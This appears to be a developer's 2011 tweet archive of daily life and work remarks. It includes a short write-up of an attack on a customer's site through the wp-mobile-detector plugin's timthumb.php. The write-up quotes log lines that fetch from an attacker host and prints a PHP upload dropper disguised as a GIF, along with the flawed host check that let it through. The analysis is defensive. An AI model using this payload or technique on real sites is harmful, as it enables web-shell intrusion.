• “Inbox — PalePurple mail (david) (666 messages)” I can’t help but think there’s a hint in there somewhere.
  (2011/10/15)
• Students in the sea. Weirdos. t.co/8xBiNkif
  (2011/10/15, Ceredigion, Ceredigion)
• Hello Aberystwyth
  (2011/10/15, Ceredigion, Ceredigion)
• The tit who nearly drove into me while cutting the corner subsequently bashed someone else on another corner he cut 100 metres away.
  (2011/10/14, Wyre Forest, Worcestershire)
• Screme egg? Whatever next ? Nice idea cadburys. t.co/jas3ja99
  (2011/10/14, Redditch, Worcestershire)
• Screw ball scramble! t.co/jVKtnrsJ
  (2011/10/14, Bromsgrove, Worcestershire)
• Almost sent a quote to a customer where I’d mixed up hourly and daily rates. They almost had a bargain!
  (2011/10/14, Bromsgrove, Worcestershire)
• Sales Droid: “So what do you like most about your current mobile handset”
  Me: “It’s expensive”
  Sales Droid: <KThxBai/>
  (2011/10/13)
• RT @glynmoody: UK gov admits it has *no* evidence “on the scale & nature of infringement of copyright by websites” – t.co/4pGH6Jp …
  (2011/10/13)
• What a rubbish showcase(?) for the UK Web design industry – t.co/dZih5CQJ #tables #W3CValidationFail #annoyingPopup @ukwda
  (2011/10/13)
• Ooh. It looks quite likely I’ll be in Rome training (PHP Security) for 3 days soon. #win
  (2011/10/13, Bromsgrove, Worcestershire)
• Wake up @rowangoodwin!!
  (2011/10/13, Bromsgrove, Worcestershire)
• RT @jbrains: int main(int argc, char** argv) { printf(“Goodbye, Dennis.\n”); return 0; }
  (2011/10/13)
• Force-feeding death mother guilty – t.co/gSrS5JQx
  (2011/10/12, Bromsgrove, Worcestershire)
• Client: “Can we just leverage …”
  Me (thinking): isn’t over leveraging what got the economy in this trouble …
  (2011/10/12, Bromsgrove, Worcestershire)
• Seti@home email fail …. t.co/3NV92omi
  (2011/10/12, Bromsgrove, Worcestershire)
• I’m surprised “they” still sell bangers for kids to throw around. #fireworks #sortof
  (2011/10/12, Bromsgrove, Worcestershire)
• Co-Op sell a yummy chocolate cherry cheese cake; but – ~50% of daily fat/sugar allowance. Now I want another.
  (2011/10/12)
• Found a ‘:w’ embedded in an SQL query. It’d been there for a year and no one had noticed… oops.
  (2011/10/11)
• It’s a hard morning when the kids sleep in till 8am. #jinxingHimself
  (2011/10/11, Bromsgrove, Worcestershire)
• RT @InjusticeFacts: In the 1970s Nestle killed more than 400,000 children in developing countries by promoting infant formula over breas …
  (2011/10/10)
• RT @PalePurpleLtd: Website updated – we’d love your feedback – t.co/6jeU6tLH
  (2011/10/10)
• My bike’s puncture was from a loose spoke. First time for a loose spoke.
  (2011/10/09, Bromsgrove, Worcestershire)
• My smoke alarm is rubbish. It’s <5 metres away from my sleeping daughter, and it didn’t wake her up when it went off. #ExcellentCooking
  (2011/10/09, Bromsgrove, Worcestershire)
• Have you already submitted your response to new BBC Micro project? Please encourage others in your network as well t.co/iaYA1XqF
  (2011/10/09, Bromsgrove, Worcestershire)
• RT @BytemarkUK: t.co/yyKGZVE0 – lots of new features in the latest client/server release including additional IPv4 addresses and …
  (2011/10/09)
• RT @portseven: Have you already submitted your response to new BBC Micro project? Please encourage others in your network as well http:/ …
  (2011/10/09)
• It seems child[0] is having a bad day.
  (2011/10/09, Bromsgrove, Worcestershire)
• Thank you to the #phpnw11 organisers and crew. Excellent conference – it keeps growing each year.
  (2011/10/08, Manchester, Manchester)
• Great talk by @scottmac on facebook. Scary data figures, awesome automation and tools.#phpnw11
  (2011/10/08, Manchester, Manchester)
• Thank you @PHPWomen for the birthday cake #phpnw11 #unconference
  (2011/10/08, Manchester, Manchester)
• Failing to understand what to do with the wifi codes at the venue – what network name are they for? #phpnw
  (2011/10/08, Manchester, Manchester)
• Arrived at phpnw. <?php echo “Hello all. “; ?>
  (2011/10/08, Cheshire East, Cheshire East)
• RT @anya_goodwin: Don’t come to bed too early Daddy. If you do I’ll only wake you up at
  midnight for a drink….
  (2011/10/06)
• Crap. My calf feels like it wants to cramp up tonight as well. Grrr.
  (2011/10/05, Bromsgrove, Worcestershire)
• Children asleep. Now for a bit of work and some hot chocolate before I join them.
  (2011/10/05, Bromsgrove, Worcestershire)
• RT @Tom_Messett: Guy buying train coffee. “No lid thanks.” – You have to, it’s health & safety – “I’ve just come back from Afghanistan, …
  (2011/10/05)
• CV arrives in post (sent to v old address), contains, invalid email address (no @) and says he’s interested in his Girlfriend. #wtf
  (2011/10/05, Bromsgrove, Worcestershire)
• RT @NixiePixel: “A train station is where a train stops. A bus station is where a bus stops. On my desk, I have a workstation…”
  (2011/10/05)
• RT @Oatmeal: An iPhone 4s, you say? t.co/pgBJrxfa
  (2011/10/05)
• Time to run across Bromsgrove armed with my hockey sticks. Come on zombies come and get me. #IWillBeReady #apocalypse
  (2011/10/04, Bromsgrove, Worcestershire)
• I can only think of BLUE after seeing this. t.co/nAicyK6R
  (2011/10/04, Solihull, Solihull)
• RT @Lord_G_Almighty: Why do people insist on upsetting Jesus by wearing crosses? I bet Princess Diana doesn’t wear a Mercedes Benz penda …
  (2011/10/04)
• Hopefully heading home from London soon. Perhaps I’ll be in time for hockey training this evening
  (2011/10/04, Camden, London)
• RT @theJeremyVine: Mystery over this article on Mail website last night, which described in detail events after Knox LOST appeal: http:/ …
  (2011/10/04)

• Hopefully no one will notice me running around Bromsgove today in a top from the Nottingham half marathon which started 50 mins ago…..
  (2011/09/11, Bromsgrove, Worcestershire)
• Just reset my MacBookPro’s SMC (see t.co/4YAqXAu) – now it can see all it’s memory again! Yippee…
  (2011/09/10)
• Kington show. Fun for all the family.
  (2011/09/10, County of Herefordshire, County of Herefordshire)
• RT @saismo: CSS humor: .titanic { float: none; }
  (2011/09/09)
• Bad halfords didn’t tighten my handlebars up. Walking home it is then.
  (2011/09/08, Bromsgrove, Worcestershire)
• New work rule: any bottled beer left lying around for longer than 1 month in the office will be “liberated”. t.co/3i1tyl2
  (2011/09/08, Bromsgrove, Worcestershire)
• Hooray for Halfords (Bromsgrove) who fixed my bicycle for free (service/fix jumping chain). #happy
  (2011/09/08, Bromsgrove, Worcestershire)
• RT @jwage: Soo, who thinks PHP should be on github as well and not just use git? It seems so obvious it is the right choice it’s painful …
  (2011/09/08)
• Pondering a day out at t.co/IK5Q86K (#KingtonShow, Herefordshire) this Saturday….
  (2011/09/08)
• Apparently it’s fashionable to go on holiday for a week, while leaving your house unlocked….
  (2011/09/08, Bromsgrove, Worcestershire)
• The King George Close rabbit – sighting. t.co/oROeMXZ
  (2011/09/08, Bromsgrove, Worcestershire)
• The probability of me getting to Nottingham for ~8am on a Sunday seems distinctively low. #halfmarathon
  (2011/09/08, Bromsgrove, Worcestershire)
• RT @dsp_: PHP will switch to git. t.co/iO9CDun
  (2011/09/08)
• OSX’s ‘nvram boot-args=”-x”‘ is the same as linux’s ‘touch /forcefsck’ – except you need to set boot-args=”" after reboot. #fsck
  (2011/09/07, Bromsgrove, Worcestershire)
• Perhaps this is a cunning Apple plan – as I was CASUALLY looking at apple.com/uk’s store last night…. #conspiracy
  (2011/09/07, Bromsgrove, Worcestershire)
• Stupid MacBook seems to be having hardware issues. Half the memory is ‘missing’, spotlight has started to reindex / & fsck shows issues. Meh
  (2011/09/07, Bromsgrove, Worcestershire)
• I now have: Infected, Contagious, Ancestor, The Rookie, The Starter and The All Pro @scottsigler books. Number read: ZERO. Audiobooks FTW?
  (2011/09/07, Bromsgrove, Worcestershire)
• RT @stevenmak: Programming Language behind the top 40 websites: t.co/E7RiWfn
  (2011/09/07)
• RT @PalePurpleLtd: The employees have just been educated about the Gruffalo…. He has purple prickles all over his back! Oh help! Oh no …
  (2011/09/05)
• Netnames appears to have a slight security problem – see t.co/20QVy63 – vodafone.com / theregister.co.uk / ups.com #fail #dns
  (2011/09/04)
• Only managed to run 10.5 miles today; walked the final mile home.
  (2011/09/04)
• RT @ukscores: Agreement signed with Food Standards Agency to provide a single National scheme t.co/kymspPP
  (2011/09/03)
• RT @mikkohypponen: Konami code easter egg check in 115 bytes in Javascript: t.co/5MXNVfP /via @140bytes…

  (2011/09/03)
• RT @dysinger: Why do people still comment code out and check it back in? Come on people. Man up & delete it. Put it back later with a re …
  (2011/09/02)
• Oooh, t.co/zB0W02J – perhaps this will fix the crappy MSN thing where messages aren’t delivered to me…. *crosses fingers and toes*
  (2011/09/02)
• RT @BadAdviceNurse: Listen up, people…Children are the future. If we do not keep them plump and healthy, we will have nothing to eat d …
  (2011/09/02)
• “What’s she going to look like with a chimney on her head?”.
  (2011/09/02, Bromsgrove, Worcestershire)
• RT @ls12styler: Looking to hire a junior/mid level PHP Dev. If interested DM me. RT’s appreciated.
  (2011/09/02)
• Stupid evenings are getting longer. I’ll need to put lights on my bike soon.
  (2011/09/01, Bromsgrove, Worcestershire)
• RT @PalePurpleLtd: Thank you customer. Those Thornton chocolates were very yummy.
  (2011/09/01)
• $customer’s DNS is broken, so I’ve taken the opportunity to reboot their server. Thank you Debian for a 559 day uptime.
  (2011/09/01)
• 2010/2011 tax return nonsense done. Time wasted: 20+ minutes.
  (2011/08/31, Bromsgrove, Worcestershire)
• Just had a phone call asking me if i’d employ an apprentice for £2.50/hour.
  (2011/08/31)
• RT @worcspaul: @TheGingerDog any reason why I would? Or have I just been spammed?
  (2011/08/31)
• RT @Iain_F: t.co/h8GDe11
  (2011/08/30)
• Short write up for wp-mobile-detector security problem – t.co/Cs7J8xh #wordpress
  (2011/08/30)

A customer’s web server has the following requests in it :

[24/Aug/2011:02:10:47 +0100] "HEAD /wp-content/plugins/wp-mobile-detector/timthumb.php?src=http://superflickr.com.nu/index.php HTTP/1.1" 200 - "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.7.12) Gecko/20050919 Firefox/1.0.7"
[24/Aug/2011:02:10:48 +0100] "GET /wp-content/plugins/wp-mobile-detector/cache/27a44a2d2bea4a693389c325a1125aa6.php HTTP/1.1" 200 52 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.7.12) Gecko/20050919 Firefox/1.0.7"
[24/Aug/2011:02:10:48 +0100] "POST /wp-content/plugins/wp-mobile-detector/cache/27a44a2d2bea4a693389c325a1125aa6.php HTTP/1.1" 200 52 "-" "Opera 11.00"
[24/Aug/2011:02:10:49 +0100] "GET /wp-content/uploads/_wp_cache.php HTTP/1.1" 200 12970 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.7.12) Gecko/20050919 Firefox/1.0.7"

_wp_cache.php is one of those all-in-one-hacker-delight-control-panel things.

Making a request to superflickr.com.nu shows  :

$ wget -qO - http://superflickr.com.nu/index.php
GIF89a????!?,D;<?php $f=preg_replace('/(.*wp-content).*/i','\1',dirname(__FILE__)).DIRECTORY_SEPARATOR.'uploads'.DIRECTORY_SEPARATOR.$_FILES['F']['name'];move_uploaded_file($_FILES['F']['tmp_name'],$f);echo "14qhpo"; ?>;

Suffice to say this is then stored on the server via timthumb.php. The timthumb.php script does attempt to use a list of allowed sites :

$allowedSites = array (
        'flickr.com',
        'picasa.com',
        'blogger.com',
        'wordpress.com',
        'img.youtube.com',
        'amazonaws.com',
);

But it’s check is somewhat flawed -

foreach ($allowedSites as $site) {
      //$site = '/' . addslashes ($site) . '/';
      if (stristr($url_info['host'], $site) !== false) {
         $isAllowedSite = true;
      }
}

Hence, superflickr.com.nu escapes through, as it contains the string ‘flickr.com’.

And then, because it performs an ‘md5′ of the remote URL/file, which is predictable, the attacker knows where to access the saved file. A simple .htaccess file to block .php files from being accessed in the ‘cache’ directory would have solved this.

Alternatively the developers could have bothered to check the extension of the URL being retrieved….

• The wp-mobile-detector plugin looks like it’s insecure. Creation of cache/xxxx.php files (binary image containing PHP) … #fail #wordpress
  (2011/08/30)
• Argh! It seems some people still use SCO Unix…. *tears hair out*.
  (2011/08/30)
• RT @slimphp: Just made the “Most Watched Today” list of PHP repos on GitHub! Hello to all the new Slim Framework devs! t.co/Fl4Mg0y
  (2011/08/30)
• I nearly just ran over a suicidal dog. That would have made for an interesting start to the day.
  (2011/08/29, Bromsgrove, Worcestershire)
• I’ve just taught my niece what RTFM is.
  Clearly our schools are failing the youth of today.
  (2011/08/28)
• Arrrrrgggggggggh another customer using 1&1….. I hate that control panel!
  (2011/08/26)
• Ooh. Thunder, lightning and lovely rain to listen to in Bromsgrove. Time to get my turbo trainer out I guess.
  (2011/08/26, Bromsgrove, Worcestershire)
• Nom Nom Nom, it’s digestive biscuit day (at work) – and coop had 50% extra free for McVities… nom nom nom nom nom *sugar rush* no nom nom
  (2011/08/26)
• Discovered my bicycle’s rear wheel was quite loose this morning. Wondering if which of the children or minions are trying to sabotage me.
  (2011/08/26)
• In other news, $customer seems to be suggesting he’s going to send some more beer this way… (thanks @mybrewerytap t.co/AhsThO5)
  (2011/08/25)
• Over the last two days, I’ve wasted ~2hrs trying to do simple stuff in the 1and1.co.uk control panel. Definitely a hosting company to avoid.
  (2011/08/25)
• Want to win a hamper of Italian food? – See t.co/n2sgJIY for details.
  (2011/08/25)
• Hmm. Can’t quite believe this. I think coop is cheaper than asda for something (nappies). Whatever next.
  (2011/08/24, Bromsgrove, Worcestershire)
• “Thanks” Debian for having an Apache alias of /javascript which confused my app + me. rm /etc/apache2/conf.d/javascript-common.conf
  (2011/08/24)
• RT @PalePurpleLtd: Security tip #2 – Do not assume the 11th field in /var/log/secure contains an IP address; “bob blah blah;blah;blah” i …
  (2011/08/24)
• Wondering quite why a Magento based site stopped being v slow after midnight. Something somewhere is presumably date dependent?
  (2011/08/24, Bromsgrove, Worcestershire)
• Dear customer(s), please do not use your name or domain name as a password. See also t.co/Sv6dpe0
  (2011/08/22)
• Random website (t.co/U0TMgRy) has under latest news: “Google buys Youtube for $1.6bn”… that was ~2006; #fail
  (2011/08/21)
• Oh FFS now there are FOUR tossers driving noisy quad bikes around Bromsgrove. #chavs
  (2011/08/21, Bromsgrove, Worcestershire)
• Sunday trading hours seem to be a failure in Bromsgrove. Shops advertise as opening, but don’t. High street empty.
  (2011/08/21, Bromsgrove, Worcestershire)
• Went to Brum’s Wagamama last night. It seems to have gone downhill or lost it’s appeal/charm. At least Jamies is next door….
  (2011/08/21, Bromsgrove, Worcestershire)
• Video: US-China Basketball Match Brawl – As US VP Joe Biden Attempts To Build Good Relations – Diplomacy at it’s best t.co/ROpmSCa
  (2011/08/19)
• RT @madeupstats: Despite their skills on computers, hackers are four times less likely to ‘gain access’ to a girl’s knickers.
  (2011/08/19)
• RT @ezyjules: webOS is dead! Further validation not to invest in teams for second tier mobile OS’s (see Symbian, MeeGo, BlackBerry OS etc)
  (2011/08/19)
• Ooooh Google Plus has games. How did I miss this? Now for the AgeOfEmpires clone (City Of Wonder). Productivity–
  (2011/08/18, Bromsgrove, Worcestershire)
• Join the one million global march to Save the #Amazon @Avaaz t.co/diPcWuW
  (2011/08/17)
• UKFast: (adv, profane) refers to sub-standard hosting company. May rely on customers to inform them of service failures. “That’s so UKFast!”
  (2011/08/17)
• find . -type d -empty -delete
  That is all. #cli (delete empty directories)
  (2011/08/17, Bromsgrove, Worcestershire)
• Spot the illusion. t.co/zzU8fep
  (2011/08/15, Bromsgrove, Worcestershire)
• The local teenagers seem to be spraying each other with cheap perfume. if cynical I might think there’re perfume sniffing.
  (2011/08/15, Bromsgrove, Worcestershire)
• Time to try and sleep. 5am. Hmm.
  (2011/08/14, Bromsgrove, Worcestershire)
• Stop Cameron’s ill considered social media and Blackberry clampdown! t.co/PoXiKtD via @openrightsgroup
  (2011/08/13)
• Captain America : good film, good ending. 8/10.
  (2011/08/12, Bromsgrove, Worcestershire)
• Apparently I did 0.3 hours of work in the last week. This might be a good thing.
  (2011/08/12, Bromsgrove, Worcestershire)
• Fuel rep: you’ve got N+400kg of fuel.
  Captain: we have Nkg of fuel
  Fuel rep: do!
  Captain: don’t!
  #easyjet #Fail
  (2011/08/12, el Prat de Llobregat, Barcelona)
• Easyjet Speedy boarding seems pointless; we’re sitting down in the bus; they’re standing in a chained in bit at the front. #moo
  (2011/08/12, el Prat de Llobregat, Barcelona)
• BCN -> LPL. #easyjet
  (2011/08/12, el Prat de Llobregat, Barcelona)
• Must resist laughing at people who are repacking their crap at the airport checkin desk. Or not …. Mwahahahaha
  (2011/08/12, el Prat de Llobregat, Barcelona)
• In Spain, at 22:35, it’s not too late to use an electric sander. Vroooooooooom. Stupid neighbour.
  (2011/08/11, Hospitalet de Llobregat, Barcelona)
• RT @codinghorror: terrible scene from the UK riots — utter mayhem! t.co/PRKeUH8
  (2011/08/11)
• RT @brumpolice: Recognise any of these people >> t.co/xCTcTDG. Call us on 0800 096 0095 or email: tellus@west-midlands.pnn. …
  (2011/08/11)
• t.co/nc7RxzE – “give us the legal authority in writing & guarantee of support [for] force and we will sort it by Wednesday tea time.”
  (2011/08/09)
• Aberystwyth after global warming. (Llafranc, Spain) t.co/mwXEb84
  (2011/08/07, Palafrugell, Girona)
• Mojitos at 1am. Apparently: mint + rum + sugar + ice + lime …… and a straw.
  (2011/08/07, Begur, Girona)
• Hmmm. Pickled chillies. I approve.
  (2011/08/05, Begur, Girona)
• Champagne (well Cava) factory tour done. Now to stagger back to the train. #codorniu
  (2011/08/03, Sant Sadurní d’Anoia, Barcelona)
• Woolly Mammoth! t.co/sHMBLqD
  (2011/08/02, Barcelona, Barcelona)
• Wow. I passed through Liverpool airport’s security scanners without being felt up for a ‘security check’. First time for everything.
  (2011/07/31, Liverpool, Liverpool)
• RT @raymondh: Thought for the day: most computer problems are caused by a loose nut on the keyboard
  (2011/07/31)
• Thundercats 2011 …
  (2011/07/30)
• I’m not impressed Coop. Selling my gone off chicken which was still ‘in date’…
  (2011/07/30, Bromsgrove, Worcestershire)
• Not impressed Ubuntu b0rked my office telephony system by overwriting sip.conf on a package update. git checkout sip.conf FTW. Ubuntu –
  (2011/07/28)
• How did this SSL certificate API .doc get released before it was spellchecked? Not particularly confidence boosting…
  (2011/07/27)